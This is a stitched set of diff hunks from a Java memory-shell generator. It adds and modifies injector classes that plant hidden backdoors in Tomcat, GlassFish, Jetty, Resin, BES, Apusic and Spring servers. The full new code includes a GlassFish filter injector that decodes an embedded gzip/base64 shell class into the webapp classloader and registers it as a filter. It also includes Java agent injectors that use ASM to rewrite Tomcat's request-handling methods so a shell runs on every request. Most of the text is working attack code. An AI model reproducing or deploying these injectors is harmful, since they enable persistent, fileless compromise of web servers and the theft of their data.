return builder.visit(new ValveRenameVisitorWrapper(packageName));
@@ -6,16 +6,13 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -43,13 +40,8 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
shellToolConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicFilterInjector {
static {
new ApusicFilterInjector();
}
public ApusicFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -46,7 +42,8 @@ public class ApusicFilterInjector {
}
/**
* com.apusic.web.container.WebContainer
* context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar
*/
public List<Object> getContext() throws Exception {
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @since 2024/12/27
*/
public class ApusicListenerInjector {
static {
new ApusicListenerInjector();
}
public ApusicListenerInjector() {
try {
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ApusicServletInjector {
static {
new ApusicServletInjector();
}
public ApusicServletInjector() {
try {
List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class BesFilterInjector {
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
static {
new BesFilterInjector();
}
public BesFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class BesListenerInjector {
static {
new BesListenerInjector();
}
Logger log = Logger.getLogger(BesListenerInjector.class.getName());
public String getClassName() {
return "{{className}}";
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class BesValveInjector {
static {
new BesValveInjector();
}
public BesValveInjector() {
try {
List<Object> contexts = getContext();
@@ -96,6 +92,7 @@ public class BesValveInjector {
return;
}
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
// com.bes.enterprise.webtier.core.DefaultPipeline
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.tomcat;
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
@@ -13,7 +13,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
@@ -35,7 +35,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.tomcat;
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
@@ -13,7 +13,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
@@ -35,7 +35,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
@@ -0,0 +1,213 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* Date: 2022/11/01
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/
public class GlassFishFilterInjector {
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public GlassFishFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
// skip glassfish /osgi context
if (getFieldValue(context, "serverContext") != null) {
Object shell = getShell(context);
inject(context, shell);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
try {
return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
@SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return;
}
Object filterDef;
Object filterMap;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
} catch (Exception e2) {
// tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
try {
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) {
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
}
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
}
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException();
}
}
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class GlassFishValveInjector {
static {
new GlassFishValveInjector();
}
public GlassFishValveInjector() {
try {
List<Object> contexts = getContext();
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
static {
new InforSuiteFilterInjector();
}
public InforSuiteFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector {
static {
new JettyFilterInjector();
}
public JettyFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -122,6 +118,13 @@ public class JettyFilterInjector {
}
}
/**
* org.mortbay.jetty.webapp.WebAppContext
* org.eclipse.jetty.webapp.WebAppContext
* org.eclipse.jetty.ee8.webapp.WebAppContext
* org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext
*/
private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -23,7 +23,6 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler"
);
private static String targetClassName = "";
private static String targetMethodName = "doHandle";
public static String getClassName() {
@@ -49,15 +48,14 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
targetClassName = name;
if (targetClassName.contains("mortbay")) {
if (name.contains("mortbay")) {
targetMethodName = "handle";
}
if (targetClassName.contains("ee10")) {
if (name.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
}
}
}
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
*/
public class JettyListenerInjector {
static {
new JettyListenerInjector();
}
public JettyListenerInjector() {
try {
List<Object> contexts = getContext();
@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
*/
public class JettyServletInjector {
static {
new JettyServletInjector();
}
public JettyServletInjector() {
try {
List<Object> contexts = getContext();
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ResinFilterInjector {
static {
new ResinFilterInjector();
}
public ResinFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason
*/
public class ResinListenerInjector {
static {
new ResinListenerInjector();
}
public ResinListenerInjector() {
try {
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
*/
public class ResinServletInjector {
static {
new ResinServletInjector();
}
public ResinServletInjector() {
try {
List<Object> contexts = getContext();
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxHandlerFunctionInjector {
static {
new SpringWebFluxHandlerFunctionInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxHandlerMethodInjector {
static {
new SpringWebFluxHandlerMethodInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
static {
new SpringWebFluxNettyHandlerInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebFluxWebFilterInjector {
static {
new SpringWebFluxWebFilterInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebMvcControllerHandlerInjector {
static {
new SpringWebMvcControllerHandlerInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
@@ -2,12 +2,9 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
*/
public class SpringWebMvcInterceptorInjector {
static {
new SpringWebMvcInterceptorInjector();
}
public String getClassName() {
return "{{className}}";
}
@@ -0,0 +1,157 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
}
@@ -0,0 +1,157 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
}
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatFilterInjector {
static {
new TomcatFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}

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